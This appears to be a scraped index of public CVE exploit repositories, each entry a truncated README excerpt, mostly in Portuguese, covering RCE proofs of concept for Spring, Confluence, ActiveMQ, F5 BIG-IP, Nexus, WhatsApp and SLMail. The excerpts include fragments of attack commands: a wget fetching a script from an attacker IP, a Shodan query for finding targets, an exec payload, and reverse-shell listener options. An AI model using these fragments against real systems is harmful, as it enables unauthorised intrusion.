Windows-CVE-2024-38063

Windows-TCP/IP-IPv6CVE-2024-38063 Die Schwachstelle CVE-2024-38063 ist eine Remote-Codeausführungsschwachstelle in der TCP/IP-Komponente des Windows-Betriebssystems. Laut Microsoft offiziellen Angaben hat diese Schwachstelle den höchsten Schweregrad Kritisch mit einem CVSS-Score von 9.8, und...

CVE-2025-55182-bypass

CVE-2025-55182 Bypass de Cabeçalho Bypass do cabeçalho Next-Action para CVE-2025-55182. Realiza RCE no React RSC sem cabeçalhos distintivos, evadindo regras de WAF. Descoberta Principal O cabeçalho Next-Action NÃO é necessário para a exploração. Vetor de Ataque| Cabeçalho Next-Action| Detecção de...

whoc

whoc A container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform! WhoC at Defcon 29 Cloud Village Azurescape - whoc-powered research, the first cross-account container takeover i...

CVE-2026-23744

CVE-2026-23744: Execução Remota de Código Não Autenticada em @mcpjam/inspector AVISO: Este repositório e os scripts associados destinam-se exclusivamente a avaliações de segurança autorizadas, testes de penetração, pesquisa de segurança e análise educacional. Testar sistemas sem autorização por...

CVE-2026-44402

CVE-2026-44402 Execução Remota Completa de Comandos Sem Autenticação no Voltronic Power SNMP Web Pro 1.1 Conteúdo Fornecedor afetado: https://voltronicpower.com/ Produto afetado: SNMP Web pro 1.1 O SNMP Web Pro 1.1 contém uma vulnerabilidade de execução remota de código sem autenticação no endpoi...

CVE-2023-4220-RCE

CVE-2023-4220-RCE Resumo Aviso da Starlabs Produto afetado: Chamilo , -p --port PORTA REMOTA -c --comand Flags para shell reverso -lh/--localhost: IP do atacante -lp/--localtcat porta do listener...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 ID da vulnerabilidade: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Reproduzir a vulnerabilidade docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Detecção de vulnerabilidade POC...

CVE-2022-22963-PoC

CVE-2022-22963: Exploit de RCE Spring4Shell Esta é uma implementação em Python do Spring4Shell, CVE-2022-22963, que afeta serviços executando Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command execut...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Polyglot Payload Nas últimas semanas em novembro de 2025, uma vulnerabilidade interessante CVE-2025-64512 foi divulgada no pdfminer.six, um popular projeto Python para processar arquivos PDF, usado em particular em pipelines de IA. A vulnerabilidade permite execução remota de códig...

CVE-2020-10199

Nexus Repository Manager 3 Vulnerabilidade Versões afetadas: = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 Execução Remota de Comandos POC com retorno POC sem retorno $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199' Permissã...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

De EternalBlue ao CVE‑2025‑2776: A Evolução de um Ataque SMB Ele abalou o mundo em 2017 e evoluiu para o atual CVE‑2025‑2776. A Microsoft ainda depende do SMBv1; este artigo explicará como os atacantes ajustaram a cadeia, de uma simples DLL a uma pilha completa de reverse shell, e o que isso...

CVE-2024-42640

CVE-2024-42640 angular-bug CVE-2024-42640 Execução Remota de Código Não Autenticada via Biblioteca Angular-Base64-Upload para mais detalhes: blog Introdução As versões de angular-base64-upload anteriores à v0.1.21 são vulneráveis à execução remota de código não autenticada por meio do endpoint...

CVE-2022-26134

CVE-2022-26134 – OGNL-Injection-Sicherheitslücke. Proof-of-Concept-Skript, das die Sicherheitslücke zur Remote-Code-Ausführung ausnutzt, die Atlassian Confluence 7.18 und niedrigere Produkte betrifft. Die OGNL-Injection-Schwachstelle ermöglicht es einem nicht authentifizierten Benutzer, beliebige...

CVE-2023-46604

CVE-2023-46604 Exploit para CVE-2023-46604 Esta ferramenta ajuda a explorar esta vulnerabilidade. Consulta Shodan para encontrar o alvo: product:"ActiveMQ" port:"61616" Uso da Ferramenta: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target:...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE. POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host Content-type:...

CVE-2003-0264

Buffer Overflow no Parâmetro PASS do POP3 do SLMail 5.5 Versão do Programa: SLMail 5.5 Vulnerabilidade: Buffer Overflow no parâmetro PASS do serviço POP3 porta 110 do Seattle Lab Mail SLMail 5.5 Testado em: Windows 7 x86 Exploração: Buffer Overflow Remoto Vídeo PoC: https://youtu.be/dCWgoSIni6s...

CVE-2026-34197

CVE-2026-34197 CVE-2026-34197 activemq PoC PoC para o ActiveMQ de acordo com o post da Horizon3 https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ krasn@icestorm cve-2026-34197-activemq % docker compose up -d krasn@icestorm cve-2026-34197-activemq % python3...

CVE-2020-11932

CVE-2020-11932 Bug de double-free no PoC do exploit do WhatsApp. Nota: Certifique-se de definir o IP do listener em exploit.c para obter a shell nc -lvp 1337 ou qualquer porta. e depois compile. make ou gcc -o exploit egiflib.c exploit.c então execute ./exploit e salve o conteúdo em .gif e envie...

Humax-CLI

Humax-CLI Um cliente de terminal não oficial para Humax IR4000HD com recursos aprimorados. Tudo isso surgiu da engenharia reversa do aplicativo Android e em breve haverá um artigo 😄 Captura de tela Uso : usage: sendUDP.py -h -i IP -l --try-this --loop -j -b btn btn ... optional arguments: -h,...

CVE-2021-41773

CVE-2021-41773 Um pacote Zeek que gera notificações para Path Traversal/RCE no Apache HTTP Server 2.4.49 CVE-2021-41773 e 2.4.50 CVE-2021-42013 Referências https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-42013...